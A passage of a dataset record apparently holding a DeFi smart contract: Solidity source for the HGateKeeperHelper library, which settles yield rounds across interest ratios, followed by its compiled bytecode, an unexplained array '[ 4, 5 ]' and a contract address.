long_term; HTokenAggregatorInterface aggr; uint256[] sratios; uint256 env_ratio_base; address float_longterm_token; address yield_interest_pool; uint256 start_price; uint256 end_price; uint256 total_target_token; uint256 total_target_token_next_round; uint256 left; } } // File: contracts/core/HGateKeeperHelper.sol pragma solidity >=0.4.21 <0.6.0; library HGateKeeperHelper{ using SafeMath for uint; using SafeERC20 for IERC20; event ThrowError(address gatekeeper, uint256 round, uint256 ratio); function _settle_round_for_one_ratio(HGateKeeperParam.settle_round_param_info storage info, //mapping (uint256 => uint256) storage total_target_token_in_round, mapping (bytes32 => uint256) storage target_token_amount_in_round_and_ratio, mapping (bytes32 => uint256) storage long_term_token_amount_in_round_and_ratio, uint256 i ) internal returns(uint256 s){ // "hashs" and "hasht" corresponds to the index (hash) of the pair (_round, sratios[i]) and (_round + 1, sratios[i]), // the i-th ratio with current round, and the i-th ratio with the next round respectively. bytes32 hashs = keccak256(abi.encodePacked(info._round, info.sratios[i])); // "t" is actual amount of target token, invested for i-th ratio and current round, // including the value of longterm tokens and intokens. uint256 t = target_token_amount_in_round_and_ratio[hashs]; // nt is the required interest for tokens invested for i-th ratio. // For example, if the i-th ratio is 5% and target token amount for this ratio is 10000, // start_price is 1e18, then nt = 500*1e18. uint256 nt = t.safeMul(info.start_price).safeMul(info.sratios[i]).safeDiv(info.env_ratio_base); /// require(info.long_term.get_long_term_token_with_ratio(info.sratios[i]) != address(0x0), "GK:Long term token not set"); // simulate the distribution of total interest. // If the remaining interest can afford the required interest for i-th ratio, // then "nt" sets to be the require interest // Otherwise "nt" set to be the remain interest // So, "nt" is the actual received interest for i-th ratio. // The ramain interest ("left") decreases by "nt". if(nt > info.left){ nt = info.left; } info.left = info.left.safeSub(nt); // now, set "t" to be the amount of target token (normalized to 1e18) distributed to i-th ratio and current round, // after the price of target token changing and the interests being distributed. // "t" times start price is the total price before, // then add "nt" is the total price after obtaining the distributed interest, // then div "end_price" to change the total price into the amount of target token, of new price t = t.safeMul(info.start_price).safeAdd(nt).safeDiv(info.end_price); // "ratio_to" computes the ratio of longterm token to target token, united in 1e18, // "long_term_token_amount_in_round_and_ratio[hashs]" records the amount of longterm tokens in i-th ratio and current round, // including all unexchanged intokens. // The default ratio is 1e18 if there is no longterm token. // "ratio_to" is a significant variable for updating all maintained values in "_updata_values()" uint256 ratio_to; if (long_term_token_amount_in_round_and_ratio[hashs] == 0){ ratio_to = 1e18; } else{ ratio_to = t.safeMul(1e18).safeDiv(long_term_token_amount_in_round_and_ratio[hashs]); if (ratio_to == 0) {ratio_to = 1e18; emit ThrowError(address(this), info._round, info.sratios[i]);} } //s = s.safeAdd(t); s = t; t = info.aggr.getRatioTo(address(this), 0, info.sratios[i], 3); //update minter info for this round if (info.minter != MinterInterfaceGK(0x0)){ info.minter.handle_settle_round( info.sratios[i], t, uint256(1e36).safeDiv(ratio_to), long_term_token_amount_in_round_and_ratio[hashs], nt ); } // update the maintained values update_values(info, target_token_amount_in_round_and_ratio, long_term_token_amount_in_round_and_ratio, ratio_to, info.sratios[i]); } function _settle_round_for_tail(HGateKeeperParam.settle_round_param_info storage info, //mapping (uint256 => uint256) storage total_target_token_in_round, mapping (bytes32 => uint256) storage target_token_amount_in_round_and_ratio, mapping (bytes32 => uint256) storage long_term_token_amount_in_round_and_ratio, uint256 nt ) internal returns(uint256 s){ //uint256 nt = left; // "left" now is the amount of target token should be allocated to floating. //left = total_target_token_in_round[info._round].safeSub(s); // handle for floating, similar to before. bytes32 hashs = keccak256(abi.encodePacked(info._round, uint256(0))); uint256 ratio_to; s = 0; if (long_term_token_amount_in_round_and_ratio[hashs] == 0){ ratio_to = 1e18; } else{ ratio_to = nt.safeMul(1e18).safeDiv(long_term_token_amount_in_round_and_ratio[hashs]); s = nt; if (ratio_to == 0) {ratio_to = 1e18; emit ThrowError(address(this), info._round, 0);} //s = s.safeAdd(left); } if (info.minter != MinterInterfaceGK(0x0)){ info.minter.handle_settle_round( 0, HTokenInterfaceGK(info.float_longterm_token).ratio_to_target(), uint256(1e36).safeDiv(ratio_to), long_term_token_amount_in_round_and_ratio[hashs], info.left ); } update_values(info, target_token_amount_in_round_and_ratio, long_term_token_amount_in_round_and_ratio, ratio_to, 0); } /// @dev This function is executed when the round (indexed by _round) is end. /// It does the settlement for current round with respect to the following things: /// 1. It updates the value of all longterm tokens in target token, according to the price from yield stream in current round. /// It also sets the value of intokens and outtokens in the next round. /// 2. It maintains the amount of longterm tokens (including unexchanged intokens) and target tokens in the next round. function settle_round(HGateKeeperParam.settle_round_param_info storage info, //mapping (uint256 => uint256) storage total_target_token_in_round, mapping (bytes32 => uint256) storage target_token_amount_in_round_and_ratio, mapping (bytes32 => uint256) storage long_term_token_amount_in_round_and_ratio ) public returns(uint256 settled_round){ // get the price of target token from the yield stream. The unit is 1e18. if(info.end_price == 0){ info.end_price = info.dispatcher.getYieldStream(info.target_token).getVirtualPrice(); } /// "left" records the remaining interest in current round. The unit is 1e18. /// At the begining, it equals to the actual interest of all target tokens in current round. /// It then distributes to tokens invested for different ratio, // and decreases accordingly when it is consumed to fulfill interests. info.left = info.total_target_token.safeMul(info.end_price.safeSub(info.start_price)); if (info.minter != MinterInterfaceGK(0x0)){ info.minter.loop_prepare( info.total_target_token.safeSub(target_token_amount_in_round_and_ratio[keccak256(abi.encodePacked(info._round, uint256(0)))]), target_token_amount_in_round_and_ratio[keccak256(abi.encodePacked(info._round, uint256(0)))], info.long_term.getRoundLength(info._round), info.start_price, info.end_price ); } uint256 s = 0; // The following FOR loop updates the value of all longterm tokens, for ratios from small to large. // It finally updates the value for floating. for(uint256 i = 0; i < info.sratios.length; i++){ // "s" records the total amount of distributed target tokens. s = s.safeAdd(_settle_round_for_one_ratio(info, target_token_amount_in_round_and_ratio, long_term_token_amount_in_round_and_ratio, i)); } { s = s.safeAdd(_settle_round_for_tail(info, target_token_amount_in_round_and_ratio, long_term_token_amount_in_round_and_ratio, info.total_target_token.safeSub(s))); } // for the case where there is no floating token, // the unallocated target tokens (if any) are transferred to our pool. if(s < info.total_target_token){ s = info.total_target_token.safeSub(s); require(info.yield_interest_pool != address(0x0), "invalid yield interest pool"); if (IERC20(info.target_token).balanceOf(address(this)) >= s){ IERC20(info.target_token).safeTransfer(info.yield_interest_pool, s); } info.total_target_token_next_round = info.total_target_token_next_round.safeSub(s); //total_target_token_in_round[info._round + 1] = total_target_token_in_round[info._round + 1].safeSub(s); } // update the variable "settled_round", means that "_round" is settled and "_round" + 1 should begin settled_round = info._round; } /// @dev the necessary update for maintained variables /// @param ratio the value of the i-th ratio (sratios[i]) function update_values( HGateKeeperParam.settle_round_param_info storage info, mapping (bytes32 => uint256) storage target_token_amount_in_round_and_ratio, mapping (bytes32 => uint256) storage long_term_token_amount_in_round_and_ratio, uint256 ratio_to, uint256 ratio) internal { uint256 in_target_amount;//how many newly-come target tokens for the next round. uint256 out_target_amount;//how many target tokens leave before the next round. uint256 in_long_term_amount;//how many newly-come longterm tokens for the next round. uint256 out_long_term_amount;//how many target tokens leave before the next round. //"hashs" and "hasht" are indexes the same as before bytes32 hashs = keccak256(abi.encodePacked(info._round, ratio)); bytes32 hasht = keccak256(abi.encodePacked(info._round + 1, ratio)); //set the ratio of the longterm token to target token. //recall that it is the definition of "ratio_to". //lt.set_ratio_to_target(ratio_to); if (ratio == 0){ HTokenInterfaceGK(info.float_longterm_token).set_ratio_to_target(ratio_to); } else{ info.aggr.setRatioTo(address(this), 0, ratio, 3, ratio_to); } //set the value of intoken in the next round, the ratio to longterm token. //since when the intoken is generated, its amount is 1:1 bind to target token, //so, the ratio of intoken to longterm token should be set to the reciprocal of "ratio_to". //HTokenInterfaceGK(info.long_term.hintokenAtPeriodWithRatio(info._round + 1, ratio)).set_ratio_to_target(uint256(1e36).safeDiv(ratio_to)); in_target_amount = uint256(1e36).safeDiv(ratio_to);//temporarily use info.aggr.setRatioTo(address(this), info._round + 1, ratio, 1, in_target_amount); //since the amount of intoken is 1:1 to the target token, //the amount of newly-come target token equals to the total amount of intoken in the next round. //in_target_amount = info.long_term.totalInAtPeriodWithRatio(info._round + 1, ratio); in_target_amount = info.aggr.totalSupply(address(this), info._round + 1, ratio, 1); //compute the corresponding amount of newly-come longterm token. //since the ratio of intoken to longterm token has been set, compute it directly. //in_long_term_amount = info.long_term.totalInAtPeriodWithRatio(info._round + 1, ratio).safeMul(HTokenInterfaceGK(info.long_term.hintokenAtPeriodWithRatio(info._round + 1, ratio)).ratio_to_target()).safeDiv(1e18); in_long_term_amount = in_target_amount.safeMul(1e18).safeDiv(ratio_to); //set the value of outtoken in the next round, the ratio to target token. //since when the outtoken is generated, its amount is 1:1 bind to long_term token at first, //the ratio of outtoken to target token should be set to "ratio_to". //HTokenInterfaceGK(info.long_term.houttokenAtPeriodWithRatio(info._round + 1, ratio)).set_ratio_to_target(ratio_to); info.aggr.setRatioTo(address(this), info._round + 1, ratio, 2, ratio_to); //compute the amount of target token that leaves. //since the ratio of outtoken to target token has been set, compute it directly. out_target_amount = info.aggr.totalSupply(address(this), info._round + 1, ratio, 2).safeMul(ratio_to).safeDiv(1e18); //since the amount of outtoken is 1:1 to the longterm token at first, //the amount of longterm token that leaves equals to the total amount of intoken in the next round. out_long_term_amount = info.aggr.totalSupply(address(this), info._round + 1, ratio, 2); //update the amount of target token and long term token in the new round //compute the target token amount in i-th ratio for next round, //which means that this amount of target token joins in the game in i-th ratio and the next round. //It first computes the value of longterm token in target token after the price changing, //since the ratio_to is given. //It then adds the newly-come amount and subs the leave amount. target_token_amount_in_round_and_ratio[hasht] = long_term_token_amount_in_round_and_ratio[hashs].safeMul(ratio_to).safeDiv(1e18).safeAdd(in_target_amount).safeSub(out_target_amount); //The amount of total target token in the next round (to all ratios) //initially set to be the total target token amount in current round. if (ratio == info.sratios[0]) { //total_target_token_in_round[_round + 1] = total_target_token_in_round[_round]; info.total_target_token_next_round = info.total_target_token; } //update the total target token amount in the next round, //by adding increment and subbing decrement for each ratio. info.total_target_token_next_round = info.total_target_token_next_round.safeAdd(in_target_amount).safeSub(out_target_amount); //total_target_token_in_round[_round + 1] = total_target_token_in_round[_round + 1].safeAdd(in_target_amount).safeSub(out_target_amount); //update the longterm token amount in i-th ratio and the next round, //by taking the longterm token amount in i-th ratio and current round, and adding increment and subbing decrement. long_term_token_amount_in_round_and_ratio[hasht] = long_term_token_amount_in_round_and_ratio[hashs].safeAdd(in_long_term_amount).safeSub(out_long_term_amount); //Additional check: after update, //the amount of target token in i-th ratio and the next round, //should equal to the amount of longterm token in i-th ratio and the next round times ratio_to. //Due to the accuracy issue, we let the difference less than 10000(in 1e18). //(This should never happen) _abs_check(target_token_amount_in_round_and_ratio[hasht].safeMul(1e18), long_term_token_amount_in_round_and_ratio[hasht].safeMul(ratio_to)); } function _abs_check(uint256 a, uint256 b) public pure{ if (a >= b) {require (a.safeSub(b) <= 1e22, "GK: double check");} else {require (b.safeSub(a) <= 1e22, "GK: double check");} } }
0x73f2b5c22cc5e777c92533f3afc197d3e8b8ea4d5030146080604052600436106100405760003560e01c8063889ee2e814610045578063fefd87e01461006a575b600080fd5b6100686004803603604081101561005b57600080fd5b50803590602001356100b2565b005b81801561007657600080fd5b506100a06004803603606081101561008d57600080fd5b508035906020810135906040013561026e565b60408051918252519081900360200190f35b8082106101945769021e19e0c9bab24000008273071108ad85d7a766b41e0f5e5195537a8fc8e74d63a293d1e89091846040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561011d57600080fd5b505af4158015610131573d6000803e3d6000fd5b505050506040513d602081101561014757600080fd5b5051111561018f576040805162461bcd60e51b815260206004820152601060248201526f474b3a20646f75626c6520636865636b60801b604482015290519081900360640190fd5b61026a565b69021e19e0c9bab24000008173071108ad85d7a766b41e0f5e5195537a8fc8e74d63a293d1e89091856040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156101f857600080fd5b505af415801561020c573d6000803e3d6000fd5b505050506040513d602081101561022257600080fd5b5051111561026a576040805162461bcd60e51b815260206004820152601060248201526f474b3a20646f75626c6520636865636b60801b604482015290519081900360640190fd5b5050565b600083600b015460001415610371576001840154600285015460408051638b6ea7bb60e01b81526001600160a01b03928316600482015290519190921691638b6ea7bb916024808301926020929190829003018186803b1580156102d157600080fd5b505afa1580156102e5573d6000803e3d6000fd5b505050506040513d60208110156102fb57600080fd5b50516040805163712d52fd60e11b815290516001600160a01b039092169163e25aa5fa91600480820192602092909190829003018186803b15801561033f57600080fd5b505afa158015610353573d6000803e3d6000fd5b505050506040513d602081101561036957600080fd5b5051600b8501555b83600c015473071108ad85d7a766b41e0f5e5195537a8fc8e74d63d05c78da909186600b015473071108ad85d7a766b41e0f5e5195537a8fc8e74d63a293d1e8909189600a01546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156103f357600080fd5b505af4158015610407573d6000803e3d6000fd5b505050506040513d602081101561041d57600080fd5b5051604080516001600160e01b031960e086901b16815260048101939093526024830191909152516044808301926020929190829003018186803b15801561046457600080fd5b505af4158015610478573d6000803e3d6000fd5b505050506040513d602081101561048e57600080fd5b5051600e85015560038401546001600160a01b0316156106a4576003840154600c850154855460408051602080820193909352600081830181905282518083038401815260608301808552815191860191909120825289855290839020546314527a3d60e31b90915260648201949094526084810193909352516001600160a01b039093169263ccebb54c9273071108ad85d7a766b41e0f5e5195537a8fc8e74d9263a293d1e89260a480840193829003018186803b15801561055057600080fd5b505af4158015610564573d6000803e3d6000fd5b505050506040513d602081101561057a57600080fd5b5051865460408051602081810184905260008284018190528351808403850181526060840180865281519184019190912082528b8352908490205460048d015463516b3ca360e01b909252606484019590955292516001600160a01b039093169263516b3ca3926084808201939291829003018186803b1580156105fd57600080fd5b505afa158015610611573d6000803e3d6000fd5b505050506040513d602081101561062757600080fd5b5051600a890154600b8a0154604080516001600160e01b031960e089901b168152600481019690965260248601949094526044850192909252606484015260848301525160a480830192600092919082900301818387803b15801561068b57600080fd5b505af115801561069f573d6000803e3d6000fd5b505050505b6000805b600686015481101561074c5773071108ad85d7a766b41e0f5e5195537a8fc8e74d63e6cb9013836106db89898987610a9c565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561071657600080fd5b505af415801561072a573d6000803e3d6000fd5b505050506040513d602081101561074057600080fd5b505191506001016106a8565b508073071108ad85d7a766b41e0f5e5195537a8fc8e74d63e6cb901390916107fe8888888b600c015473071108ad85d7a766b41e0f5e5195537a8fc8e74d63a293d1e890918a6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156107cd57600080fd5b505af41580156107e1573d6000803e3d6000fd5b505050506040513d60208110156107f757600080fd5b505161130f565b6040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561083957600080fd5b505af415801561084d573d6000803e3d6000fd5b505050506040513d602081101561086357600080fd5b5051600c860154909150811015610a925784600c015473071108ad85d7a766b41e0f5e5195537a8fc8e74d63a293d1e89091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b1580156108d157600080fd5b505af41580156108e5573d6000803e3d6000fd5b505050506040513d60208110156108fb57600080fd5b505160098601549091506001600160a01b031661095f576040805162461bcd60e51b815260206004820152601b60248201527f696e76616c6964207969656c6420696e74657265737420706f6f6c0000000000604482015290519081900360640190fd5b6002850154604080516370a0823160e01b8152306004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109ab57600080fd5b505afa1580156109bf573d6000803e3d6000fd5b505050506040513d60208110156109d557600080fd5b505110610a035760098501546002860154610a03916001600160a01b0391821691168363ffffffff61169e16565b84600d015473071108ad85d7a766b41e0f5e5195537a8fc8e74d63a293d1e89091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610a6057600080fd5b505af4158015610a74573d6000803e3d6000fd5b505050506040513d6020811015610a8a57600080fd5b5051600d8601555b5050915492915050565b6000808560000154866006018481548110610ab357fe5b6000918252602080832090910154604080518084019590955284810191909152805180850382018152606085018083528151918401919091208085528a845282852054600a8d015463682e3c6d60e11b90935260648701819052608487019290925291519195509373071108ad85d7a766b41e0f5e5195537a8fc8e74d9263d05c78da9260a480840193829003018186803b158015610b5157600080fd5b505af4158015610b65573d6000803e3d6000fd5b505050506040513d6020811015610b7b57600080fd5b505160068901805473071108ad85d7a766b41e0f5e5195537a8fc8e74d9263d05c78da92909189908110610bab57fe5b90600052602060002001546040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610bf157600080fd5b505af4158015610c05573d6000803e3d6000fd5b505050506040513d6020811015610c1b57600080fd5b5051600789015460408051632d64c7df60e21b8152600481019390935260248301919091525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163b5931f7c916044808301926020929190829003018186803b158015610c7c57600080fd5b505af4158015610c90573d6000803e3d6000fd5b505050506040513d6020811015610ca657600080fd5b5051600e890154909150811115610cbe5750600e8701545b87600e015473071108ad85d7a766b41e0f5e5195537a8fc8e74d63a293d1e89091836040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b158015610d1b57600080fd5b505af4158015610d2f573d6000803e3d6000fd5b505050506040513d6020811015610d4557600080fd5b5051600e890155600a8801546040805163682e3c6d60e11b81526004810185905260248101929092525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163d05c78da916044808301926020929190829003018186803b158015610daa57600080fd5b505af4158015610dbe573d6000803e3d6000fd5b505050506040513d6020811015610dd457600080fd5b50516040805163e6cb901360e01b81526004810192909252602482018390525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163e6cb9013916044808301926020929190829003018186803b158015610e2f57600080fd5b505af4158015610e43573d6000803e3d6000fd5b505050506040513d6020811015610e5957600080fd5b5051600b89015460408051632d64c7df60e21b8152600481019390935260248301919091525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163b5931f7c916044808301926020929190829003018186803b158015610eba57600080fd5b505af4158015610ece573d6000803e3d6000fd5b505050506040513d6020811015610ee457600080fd5b505160008481526020889052604081205491935090610f0c5750670de0b6b3a76400006110b1565b6040805163682e3c6d60e11b815260048101859052670de0b6b3a76400006024820152905173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163d05c78da916044808301926020929190829003018186803b158015610f6c57600080fd5b505af4158015610f80573d6000803e3d6000fd5b505050506040513d6020811015610f9657600080fd5b505160008581526020898152604091829020548251632d64c7df60e21b815260048101949094526024840152905173071108ad85d7a766b41e0f5e5195537a8fc8e74d9263b5931f7c926044808301939192829003018186803b158015610ffc57600080fd5b505af4158015611010573d6000803e3d6000fd5b505050506040513d602081101561102657600080fd5b50519050806110b157670de0b6b3a764000090507f655a93b92471c33e1bcc9b2d4c1fd42a1a37ad536aa79a7b50e6ca3f32deba67308a600001548b600601898154811061107057fe5b906000526020600020015460405180846001600160a01b03166001600160a01b03168152602001838152602001828152602001935050505060405180910390a15b8294508860050160009054906101000a90046001600160a01b03166001600160a01b031663d16827c63060008c6006018a815481106110ec57fe5b906000526020600020015460036040518563ffffffff1660e01b815260040180856001600160a01b03166001600160a01b0316815260200184815260200183815260200182815260200194505050505060206040518083038186803b15801561115457600080fd5b505afa158015611168573d6000803e3d6000fd5b505050506040513d602081101561117e57600080fd5b505160038a01549093506001600160a01b0316156112dd57600389015460068a0180546001600160a01b0390921691638d89b16a9190899081106111be57fe5b9060005260206000200154856ec097ce7bc90715b34b9f100000000073071108ad85d7a766b41e0f5e5195537a8fc8e74d63b5931f7c9091876040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561123257600080fd5b505af4158015611246573d6000803e3d6000fd5b505050506040513d602081101561125c57600080fd5b5051600089815260208d905260408082205481516001600160e01b031960e089901b1681526004810196909652602486019490945260448501929092526064840192909252608483018790525160a48084019382900301818387803b1580156112c457600080fd5b505af11580156112d8573d6000803e3d6000fd5b505050505b611303898989848d6006018b815481106112f357fe5b90600052602060002001546116f5565b50505050949350505050565b835460408051602080820193909352600081830181905282518083038401815260609092018352815191840191909120808252928590529081205490919082906113625750670de0b6b3a76400006114d7565b6040805163682e3c6d60e11b815260048101869052670de0b6b3a76400006024820152905173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163d05c78da916044808301926020929190829003018186803b1580156113c257600080fd5b505af41580156113d6573d6000803e3d6000fd5b505050506040513d60208110156113ec57600080fd5b505160008381526020878152604091829020548251632d64c7df60e21b815260048101949094526024840152905173071108ad85d7a766b41e0f5e5195537a8fc8e74d9263b5931f7c926044808301939192829003018186803b15801561145257600080fd5b505af4158015611466573d6000803e3d6000fd5b505050506040513d602081101561147c57600080fd5b50518493509050806114d75750855460408051308152602081019290925260008282015251670de0b6b3a7640000917f655a93b92471c33e1bcc9b2d4c1fd42a1a37ad536aa79a7b50e6ca3f32deba67919081900360600190a15b60038701546001600160a01b03161561168657600387015460088801546040805163039ffdcb60e61b815290516001600160a01b0393841693638d89b16a9360009391169163e7ff72c091600480820192602092909190829003018186803b15801561154257600080fd5b505afa158015611556573d6000803e3d6000fd5b505050506040513d602081101561156c57600080fd5b505160408051632d64c7df60e21b81526ec097ce7bc90715b34b9f1000000000600482015260248101879052905173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163b5931f7c916044808301926020929190829003018186803b1580156115d557600080fd5b505af41580156115e9573d6000803e3d6000fd5b505050506040513d60208110156115ff57600080fd5b5051600087815260208b9052604080822054600e8f015482516001600160e01b031960e08a901b168152600481019790975260248701959095526044860193909352606485019290925260848401929092525160a48084019382900301818387803b15801561166d57600080fd5b505af1158015611681573d6000803e3d6000fd5b505050505b6116948787878460006116f5565b5050949350505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526116f09084906123a4565b505050565b84546040805160208082018490528183018590528251808303840181526060830184528051908201206001909401608083015260a08083018690528351808403909101815260c09092019092528051910120600091829182918291866117c15760088b015460408051630dbfe0d760e01b8152600481018b905290516001600160a01b0390921691630dbfe0d79160248082019260009290919082900301818387803b1580156117a457600080fd5b505af11580156117b8573d6000803e3d6000fd5b50505050611843565b60058b015460408051630d53f0e160e01b8152306004820152600060248201819052604482018b905260036064830152608482018c905291516001600160a01b0390931692630d53f0e19260a48084019391929182900301818387803b15801561182a57600080fd5b505af115801561183e573d6000803e3d6000fd5b505050505b60408051632d64c7df60e21b81526ec097ce7bc90715b34b9f10000000006004820152602481018a9052905173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163b5931f7c916044808301926020929190829003018186803b1580156118aa57600080fd5b505af41580156118be573d6000803e3d6000fd5b505050506040513d60208110156118d457600080fd5b505160058c01548c5460408051630d53f0e160e01b815230600482015260019283016024820152604481018c9052606481019290925260848201849052519298506001600160a01b0390911691630d53f0e19160a48082019260009290919082900301818387803b15801561194857600080fd5b505af115801561195c573d6000803e3d6000fd5b50505060058c01548c5460408051635b6ad57b60e11b815230600482015260019283016024820152604481018c90526064810192909252516001600160a01b03909216925063b6d5aaf6916084808301926020929190829003018186803b1580156119c657600080fd5b505afa1580156119da573d6000803e3d6000fd5b505050506040513d60208110156119f057600080fd5b50516040805163682e3c6d60e11b815260048101839052670de0b6b3a76400006024820152905191975073071108ad85d7a766b41e0f5e5195537a8fc8e74d9163d05c78da91604480820192602092909190829003018186803b158015611a5657600080fd5b505af4158015611a6a573d6000803e3d6000fd5b505050506040513d6020811015611a8057600080fd5b505160408051632d64c7df60e21b81526004810192909252602482018a90525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163b5931f7c916044808301926020929190829003018186803b158015611adb57600080fd5b505af4158015611aef573d6000803e3d6000fd5b505050506040513d6020811015611b0557600080fd5b505160058c01548c5460408051630d53f0e160e01b815230600482015260019092016024830152604482018b905260026064830152608482018c9052519296506001600160a01b0390911691630d53f0e19160a48082019260009290919082900301818387803b158015611b7857600080fd5b505af1158015611b8c573d6000803e3d6000fd5b50505060058c01548c5460408051635b6ad57b60e11b81523060048201526001929092016024830152604482018b905260026064830152516001600160a01b03909216925063b6d5aaf6916084808301926020929190829003018186803b158015611bf657600080fd5b505afa158015611c0a573d6000803e3d6000fd5b505050506040513d6020811015611c2057600080fd5b50516040805163682e3c6d60e11b81526004810192909252602482018a90525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163d05c78da916044808301926020929190829003018186803b158015611c7b57600080fd5b505af4158015611c8f573d6000803e3d6000fd5b505050506040513d6020811015611ca557600080fd5b505160408051632d64c7df60e21b81526004810192909252670de0b6b3a764000060248301525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163b5931f7c916044808301926020929190829003018186803b158015611d0757600080fd5b505af4158015611d1b573d6000803e3d6000fd5b505050506040513d6020811015611d3157600080fd5b505160058c01548c5460408051635b6ad57b60e11b815230600482015260019092016024830152604482018b905260026064830152519297506001600160a01b039091169163b6d5aaf691608480820192602092909190829003018186803b158015611d9c57600080fd5b505afa158015611db0573d6000803e3d6000fd5b505050506040513d6020811015611dc657600080fd5b5051600083815260208b815260409182902054825163682e3c6d60e11b81526004810191909152602481018c9052915192955073071108ad85d7a766b41e0f5e5195537a8fc8e74d9263d05c78da926044808201939291829003018186803b158015611e3157600080fd5b505af4158015611e45573d6000803e3d6000fd5b505050506040513d6020811015611e5b57600080fd5b505160408051632d64c7df60e21b81526004810192909252670de0b6b3a764000060248301525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163b5931f7c916044808301926020929190829003018186803b158015611ebd57600080fd5b505af4158015611ed1573d6000803e3d6000fd5b505050506040513d6020811015611ee757600080fd5b50516040805163e6cb901360e01b81526004810192909252602482018890525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163e6cb9013916044808301926020929190829003018186803b158015611f4257600080fd5b505af4158015611f56573d6000803e3d6000fd5b505050506040513d6020811015611f6c57600080fd5b5051604080516314527a3d60e31b81526004810192909252602482018790525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163a293d1e8916044808301926020929190829003018186803b158015611fc757600080fd5b505af4158015611fdb573d6000803e3d6000fd5b505050506040513d6020811015611ff157600080fd5b5051600082815260208c9052604081209190915560068c01805490919061201457fe5b906000526020600020015487141561203157600c8b0154600d8c01555b8a600d015473071108ad85d7a766b41e0f5e5195537a8fc8e74d63e6cb90139091886040518363ffffffff1660e01b8152600401808381526020018281526020019250505060206040518083038186803b15801561208e57600080fd5b505af41580156120a2573d6000803e3d6000fd5b505050506040513d60208110156120b857600080fd5b5051604080516314527a3d60e31b81526004810192909252602482018790525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163a293d1e8916044808301926020929190829003018186803b15801561211357600080fd5b505af4158015612127573d6000803e3d6000fd5b505050506040513d602081101561213d57600080fd5b5051600d8c0155600082815260208a815260409182902054825163e6cb901360e01b8152600481019190915260248101879052915173071108ad85d7a766b41e0f5e5195537a8fc8e74d9263e6cb9013926044808301939192829003018186803b1580156121aa57600080fd5b505af41580156121be573d6000803e3d6000fd5b505050506040513d60208110156121d457600080fd5b5051604080516314527a3d60e31b81526004810192909252602482018590525173071108ad85d7a766b41e0f5e5195537a8fc8e74d9163a293d1e8916044808301926020929190829003018186803b15801561222f57600080fd5b505af4158015612243573d6000803e3d6000fd5b505050506040513d602081101561225957600080fd5b5051600082815260208b81526040808320939093558c81529082902054825163682e3c6d60e11b81526004810191909152670de0b6b3a7640000602482015291516123979273071108ad85d7a766b41e0f5e5195537a8fc8e74d9263d05c78da92604480840193829003018186803b1580156122d457600080fd5b505af41580156122e8573d6000803e3d6000fd5b505050506040513d60208110156122fe57600080fd5b5051600083815260208c815260409182902054825163682e3c6d60e11b81526004810191909152602481018d9052915173071108ad85d7a766b41e0f5e5195537a8fc8e74d9263d05c78da926044808301939192829003018186803b15801561236657600080fd5b505af415801561237a573d6000803e3d6000fd5b505050506040513d602081101561239057600080fd5b50516100b2565b5050505050505050505050565b6123b6826001600160a01b0316612562565b612407576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106124455780518252601f199092019160209182019101612426565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146124a7576040519150601f19603f3d011682016040523d82523d6000602084013e6124ac565b606091505b509150915081612503576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561255c5780806020019051602081101561251f57600080fd5b505161255c5760405162461bcd60e51b815260040180806020018281038252602a81526020018061259f602a913960400191505060405180910390fd5b50505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906125965750808214155b94935050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723058204bfb4442d8010abe66d01f245e5b180cb459672229256c4b093e4fb2a5c84f1b64736f6c634300050a0032
[ 4, 5 ]
0xf2B6312861c94Da8F3B0214706F52De3c5CE7A4f
